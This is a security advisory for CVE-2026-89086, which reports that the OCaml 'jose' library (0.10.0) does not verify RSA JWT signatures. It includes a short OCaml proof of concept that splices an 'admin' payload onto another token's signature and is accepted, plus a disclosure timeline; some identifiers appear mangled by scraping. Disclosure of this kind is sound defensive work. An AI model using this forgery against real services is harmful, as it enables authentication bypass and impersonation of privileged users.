PT-2026-89582 · Ocaml+1 · Jose+1
CVE-2026-89086
·
Published
2026-09-10
·
Updated
2026-09-10
CVSS v3.1
9.1
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.
Reproduction
With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:
OCaml
let () = Mirage crypto rng unix.use default ()
let key =
Jose.Jwk.make priv rsa (Mirage crypto pk.Rsa.generate ~bits:2048 ())
let sign sub =
Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
|> Result.get ok |> Jose.Jwt.to<http://jose.jwt.to/> string
let seg n token = List.nth (String.split on char '.' token) n
let alice = sign "alice" and admin = sign "admin"
(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]
match
Jose.Jwt.unsafe of string forged
|> Result.get ok
|> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub of priv key) ~now:(Ptime clock.now ())
with
| Ok t ->
print endline
("accepted, sub = " ^ Option.get (Jose.Jwt.get string claim t "sub"))
| Error -> print endline "rejected"The dune file:
(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))This prints "accepted, sub = admin".
Workaround
There is no workaround known.
Timeline
- 2026-08-25: private report via email to the authors of jose
- 2026-08-25: fix published to repository
- 2026-08-31: mail escalated to security@ocaml.org
- 2026-09-04: released jose 0.11.0
- 2026-09-10: published advisory
Exploit
Fix
Improper Verification of Cryptographic Signature
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Jose
Ocaml-Jose